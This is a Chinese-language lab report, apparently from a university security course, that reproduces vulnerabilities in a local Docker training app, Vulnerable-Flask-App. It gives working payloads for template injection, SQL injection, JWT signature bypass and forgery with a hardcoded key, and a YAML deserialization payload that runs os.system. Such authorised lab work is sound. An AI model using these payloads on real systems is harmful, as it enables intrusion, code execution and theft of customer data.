# Vulnerable-Flask-App 漏洞复现报告

> 适用环境：本机 Docker 靶场 `Vulnerable-Flask-App`，地址 `http://127.0.0.1:5050/`。以下操作仅用于授权的本地安全实验环境。

## 报告信息

| 项目 | 内容 |
|---|---|
| 靶场项目 | Vulnerable-Flask-App |
| 靶场路径 | `D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\Vulnerable-Flask-App` |
| 访问地址 | `http://127.0.0.1:5050/` |
| 复现系统 | Windows PowerShell + Docker |
| 截图目录 | `D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\screen` |
| 复现目标 | 对测试报告中可动态验证的漏洞进行实际复现，并记录命令、原理和结果证据 |

## 复现结论

本次复现覆盖了 404 页面 SSTI、搜索接口 SQL 注入、JWT 签名校验绕过、YAML 不安全反序列化、硬编码 JWT 密钥与 MD5 弱哈希等问题。截图证据已插入到各漏洞的“复现结果”位置；其中涉及 PowerShell 直接传递 JSON 导致 `400 Bad Request` 的截图，作为复现过程中的问题定位证据保留。

## 1. 环境准备

进入项目目录：

```powershell
cd "D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\Vulnerable-Flask-App"
```

构建镜像：

```powershell
docker build -t vulnerable-flask-app .
```

启动靶场：

```powershell
docker run -d --rm --name vulnerable-flask-app -p 5050:5050 vulnerable-flask-app
```

如果容器名已存在，先停止旧容器：

```powershell
docker stop vulnerable-flask-app
```

验证首页：

```powershell
curl.exe --noproxy "*" -i http://127.0.0.1:5050/
```

预期结果：

```text
HTTP/1.1 200 OK
You have reached the Vulnerable App.
```

说明：如果直接访问出现 `502 Bad Gateway`，通常是本机代理干扰了 `127.0.0.1` 请求。命令行中统一使用 `--noproxy "*"` 绕过代理。

## 2. 获取合法 JWT Token

部分接口需要 `Authorization` 请求头。先使用内置账号登录。

在 Windows PowerShell 中，直接把 JSON 写在 `curl.exe --data` 后面时，双引号有时会被命令行解析过程改写，导致 Flask 收到的不是合法 JSON，并返回：

```json
{
  "Error": "Unable to recognize Input"
}
```

因此建议先把 JSON 请求体写入文件，再用 `--data-binary "@文件名"` 发送：

```powershell
'{"username":"admin","password":"admin123"}' | Set-Content -NoNewline -Encoding ascii ".\login.json"

$login = curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/login" `
  -H "Content-Type: application/json" `
  --data-binary "@login.json"

$login

$tokenLine = $login | Select-String -Pattern '^Authorization:\s*(.+)$'

if (-not $tokenLine) {
  Write-Host "没有拿到 Authorization 头，请检查上面的登录响应。"
} else {
  $token = $tokenLine.Matches[0].Groups[1].Value.Trim()
  $token
}
```

预期结果：

```text
HTTP/1.1 200 OK
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{"Authenticated": true, "User": "admin"}
```

该步骤获取到的 `$token` 后续用于访问 `/search` 等需要认证的接口。

## 3. CRITICAL-1：404 页面 SSTI

### 漏洞位置

`app/app.py` 的 404 错误处理函数：

```python
template = '''...<h3>%s</h3>...''' % request.url
return render_template_string(template, dir = dir, help = help, locals = locals),404
```

### 漏洞原理

应用把用户可控的 `request.url` 直接拼接进模板字符串，然后调用 `render_template_string()` 渲染。Jinja2 会把 `{{ ... }}` 当作模板表达式执行，所以访问一个不存在的、带模板表达式的 URL 时，可以触发服务端模板注入。

### 具体操作

```powershell
curl.exe --noproxy "*" --globoff -i "http://127.0.0.1:5050/{{7*7}}"
```

### 复现结果

响应状态码是 `404`，但页面中的 URL 片段已经从 `{{7*7}}` 被计算成 `49`：

```html
<h3>http://127.0.0.1:5050/49</h3>
```

截图证据：

![图 1：404 页面 SSTI 复现结果，`{{7*7}}` 被服务端渲染为 `49`](images/Snipaste_2026-07-07_15-18-29.jpg)

结论：服务端执行了 Jinja2 表达式，SSTI 成立。

## 4. CRITICAL-3：搜索接口错误处理 SSTI

### 漏洞位置

`/search` 接口异常处理逻辑：

```python
template = '''...<h3>%s</h3>...''' % str(e)
return render_template_string(template, dir=dir, help=help, locals=locals), 404
```

### 漏洞原理

`/search` 先把用户输入拼接到 SQL 语句中。如果输入触发 SQL 语法错误，异常字符串 `str(e)` 会包含部分用户输入。随后应用又把该异常字符串拼入 `render_template_string()`，导致异常信息中的 Jinja2 表达式被二次解析执行。

### 具体操作

先确保已经按第 2 节获取 `$token`，然后执行：

```powershell
'{"search":"''{{7*7}}"}' | Set-Content -NoNewline -Encoding ascii ".\search-ssti.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
  -H "Content-Type: application/json" `
  -H "Authorization: $token" `
  --data-binary "@search-ssti.json"
```

### 复现结果

响应状态码为 `404`，错误页面中可以看到 `{{7*7}}` 已经变成 `49`：

```text
unrecognized token: "{" [SQL: u"SELECT first_name, last_name, username FROM customer WHERE username = ''49';"]
```

复现过程中的注意事项：

直接在 PowerShell 中使用 `--data $body` 传递 JSON 时，可能会导致 Flask/Tornado 返回 `400 Bad Request`，此时请求尚未进入漏洞触发逻辑。下图记录了该问题，因此本报告后续统一使用 `Set-Content` 写入 JSON 文件，再通过 `--data-binary "@文件名"` 提交。

![图 2：直接通过 PowerShell 变量传递 `/search` 请求体导致 `400 Bad Request`](images/Snipaste_2026-07-07_15-19-28.jpg)

结论：用户输入经过 SQL 错误信息进入模板渲染流程，SSTI 成立。

## 5. CRITICAL-4：SQL 注入

### 漏洞位置

`/search` 接口直接拼接 SQL：

```python
str_query = "SELECT first_name, last_name, username FROM customer WHERE username = '%s';" % search_term
search_query = db.engine.execute(str_query)
```

### 漏洞原理

用户输入没有使用参数化查询，而是通过 `%s` 直接拼接进 SQL 字符串。攻击者可以闭合原有单引号，并追加 `OR '1'='1'`，使 WHERE 条件恒真，从而绕过筛选条件读取全部客户记录。

### 具体操作

正常搜索一个不存在的用户名：

```powershell
'{"search":"no_such_user"}' | Set-Content -NoNewline -Encoding ascii ".\search-normal.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
  -H "Content-Type: application/json" `
  -H "Authorization: $token" `
  --data-binary "@search-normal.json"
```

预期结果为空数组：

```json
[]
```

执行 SQL 注入：

```powershell
'{"search":"admin'' OR ''1''=''1"}' | Set-Content -NoNewline -Encoding ascii ".\search-sqli.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
  -H "Content-Type: application/json" `
  -H "Authorization: $token" `
  --data-binary "@search-sqli.json"
```

### 复现结果

接口返回多条客户记录，而不是只返回指定用户名：

```json
[
  ["Nathan", "Young", "millerjessica"],
  ["Kara", "Kemp", "martineznorma"],
  ["Monica", "Gray", "olsoncaitlin"],
  ["Elizabeth", "Flores", "dleon"],
  ["Shaun", "Sawyer", "gwagner"]
]
```

截图证据：

![图 3：SQL 注入复现结果，正常查询返回空数组，注入后返回多条客户记录](images/Snipaste_2026-07-07_15-23-59.jpg)

结论：SQL 注入成立，攻击者可以绕过查询条件读取数据库中的客户信息。

## 6. HIGH-1：JWT 签名校验绕过

### 漏洞位置

`/get/<cust_id>` 接口使用了不安全的 JWT 解码函数：

```python
def insecure_verify(token):
    decoded = jwt.decode(token, verify = False)
    print(decoded)
    return True
```

### 漏洞原理

`jwt.decode(token, verify=False)` 会跳过 JWT 签名校验。只要请求头中存在一个格式像 JWT 的字符串，服务端就会返回 `True`，从而允许访问客户详情接口。

### 具体操作

直接构造一个伪造签名的 JWT：

```powershell
curl.exe --noproxy "*" -i -s "http://127.0.0.1:5050/get/1" `
  -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.fakesig"
```

### 复现结果

即使签名是 `fakesig`，接口仍返回客户敏感信息：

```json
{
  "cc_num": "6011759770900640",
  "email": "michael55@hotmail.com",
  "firstname": "Nathan",
  "id": 1,
  "lastname": "Young",
  "username": "millerjessica"
}
```

截图证据：

![图 4：JWT 签名校验绕过复现结果，伪造 `fakesig` Token 仍可读取客户信息](images/Snipaste_2026-07-07_15-24-31.jpg)

结论：`/get/<cust_id>` 存在认证绕过，可未授权读取客户信息和信用卡号字段。

## 7. CRITICAL-2：YAML 不安全反序列化

### 漏洞位置

`/yaml_hammer` 接口使用了不安全的 `yaml.load()`：

```python
with open(file_path, 'r') as yfile:
    y = yfile.read()

ydata = yaml.load(y)
```

### 漏洞原理

旧版本 PyYAML 的 `yaml.load()` 默认允许解析 Python 对象构造语法。攻击者上传带有 `!!python/object/apply` 的 YAML 文件时，可以触发服务端调用指定 Python 函数。本复现使用无破坏性的 `id` 命令，并把结果写入容器 `/tmp/vfa_yaml_poc.txt`。

### 具体操作

创建 PoC 文件：

```powershell
Set-Content -NoNewline -Path ".\poc-yaml-id.yaml" -Value '!!python/object/apply:os.system ["id > /tmp/vfa_yaml_poc.txt"]'
```

上传到 `/yaml_hammer`：

```powershell
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/yaml_hammer" `
  -F "file=@poc-yaml-id.yaml"
```

检查容器内命令执行结果：

```powershell
docker exec vulnerable-flask-app sh -c "ls -l /tmp/vfa_yaml_poc.txt && cat /tmp/vfa_yaml_poc.txt"
```

### 复现结果

HTTP 页面中返回 `0`，表示 `os.system()` 命令执行成功：

```html
<p>
    0
</p>
```

容器内可以看到命令输出文件：

```text
-rw-r--r-- 1 root root 39 Jul  7 07:06 /tmp/vfa_yaml_poc.txt
uid=0(root) gid=0(root) groups=0(root)
```

截图证据：

![图 5：YAML 反序列化上传结果，页面返回 `0` 表示系统命令执行成功](images/Snipaste_2026-07-07_15-24-57.jpg)

![图 6：YAML 反序列化执行结果，容器内生成 `/tmp/vfa_yaml_poc.txt`](images/Snipaste_2026-07-07_15-25-27.jpg)

![图 7：YAML 命令执行结果补充，`id` 输出显示进程以 `root` 身份运行](images/Snipaste_2026-07-07_15-26-18.jpg)

结论：上传 YAML 文件后，服务端执行了系统命令，不安全反序列化成立。

## 8. MEDIUM-2：硬编码 JWT 密钥导致 Token 伪造

### 漏洞位置

应用把 JWT HMAC 密钥硬编码为弱口令：

```python
app.config['SECRET_KEY_HMAC'] = 'secret'
```

### 漏洞原理

`/fetch/customer` 使用 `verify_jwt()` 校验 JWT 签名和 `iss` 字段。由于签名密钥直接写在源码中且为弱口令 `secret`，攻击者获得源码后可以自行签发满足校验条件的 JWT，从而访问受保护接口。

### 具体操作

在容器内使用同版本 PyJWT 生成伪造 Token：

```powershell
$forged = docker exec vulnerable-flask-app python -c "import jwt, datetime; print(jwt.encode({'user':'admin','exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=240),'nbf': datetime.datetime.utcnow(),'iss':'we45','iat': datetime.datetime.utcnow()}, 'secret', algorithm='HS256'))"

$forged = $forged.Trim()
$forged
```

使用伪造 Token 访问严格校验的 `/fetch/customer`：

```powershell
'{"id":1}' | Set-Content -NoNewline -Encoding ascii ".\fetch-customer.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/fetch/customer" `
  -H "Content-Type: application/json" `
  -H "Authorization: $forged" `
  --data-binary "@fetch-customer.json"
```

### 复现结果

接口返回客户详情：

```json
{
  "cc_num": "6011759770900640",
  "email": "michael55@hotmail.com",
  "firstname": "Nathan",
  "id": 1,
  "lastname": "Young",
  "username": "millerjessica"
}
```

截图证据：

![图 8：硬编码密钥复现过程，使用源码中的 `secret` 生成伪造 JWT；图中末尾的 `400` 是 PowerShell 直接传 JSON 的参数问题，按本节文件方式提交即可避免](images/Snipaste_2026-07-07_15-26-18.jpg)

结论：硬编码弱密钥可用于伪造合法 JWT，进而访问受保护接口。

## 9. MEDIUM-1：MD5 弱哈希补充验证

### 漏洞位置

`/register/user` 中使用 MD5 处理密码：

```python
hash_pass = hashlib.md5(password).hexdigest()
```

### 漏洞原理

MD5 已不适合用于密码存储。它速度快、无盐、抗碰撞能力弱，泄露后很容易被彩虹表或常见密码库反查。

### 当前靶场中的实际情况

当前版本的 `/register/user` 接口在计算 MD5 后会执行：

```python
new_user = User(username, hash_pass)
```

但该 SQLAlchemy Model 没有定义接收位置参数的构造函数，因此接口会报错，无法完整完成“注册并入库”的动态复现：

```powershell
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/register/user" `
  -H "Content-Type: application/json" `
  --data '{"username":"md5demo","password":"admin123"}'
```

实测响应：

```json
{
  "Error": "__init__() takes exactly 1 argument (3 given)"
}
```

因此该点更适合作为源码级验证，而不是本次靶场演示的主漏洞。

### 补充验证

在相同 Python 2 环境中计算 `admin123` 的 MD5：

```powershell
docker exec vulnerable-flask-app python -c "import hashlib; print(hashlib.md5('admin123').hexdigest())"
```

复现结果：

```text
0192023a7bbd73250516f069df18b500
```

截图证据：

![图 9：MD5 弱哈希验证，`admin123` 的 MD5 值为 `0192023a7bbd73250516f069df18b500`](images/Snipaste_2026-07-07_15-26-53.jpg)

结论：源码确实使用 MD5 处理密码，但当前接口存在额外构造函数错误，导致不能通过接口观察最终入库结果。

## 10. 复现结论汇总

| 编号 | 漏洞 | 是否可在当前靶场动态复现 | 关键结果 |
|---|---|---:|---|
| CRITICAL-1 | 404 SSTI | 是 | `{{7*7}}` 渲染为 `49` |
| CRITICAL-2 | YAML 不安全反序列化 | 是 | 容器内生成 `/tmp/vfa_yaml_poc.txt`，内容为 `uid=0(root)` |
| CRITICAL-3 | `/search` 错误处理 SSTI | 是 | SQL 错误信息中 `{{7*7}}` 渲染为 `49` |
| CRITICAL-4 | SQL 注入 | 是 | `OR '1'='1` 返回全部客户记录 |
| HIGH-1 | JWT 签名校验绕过 | 是 | 伪造 `fakesig` Token 仍能读取 `/get/1` |
| MEDIUM-2 | 硬编码 JWT 密钥 | 是 | 使用 `secret` 自签 Token 可访问 `/fetch/customer` |
| MEDIUM-1 | MD5 弱哈希 | 部分 | 源码和哈希结果可验证，但注册接口因构造函数错误无法入库 |
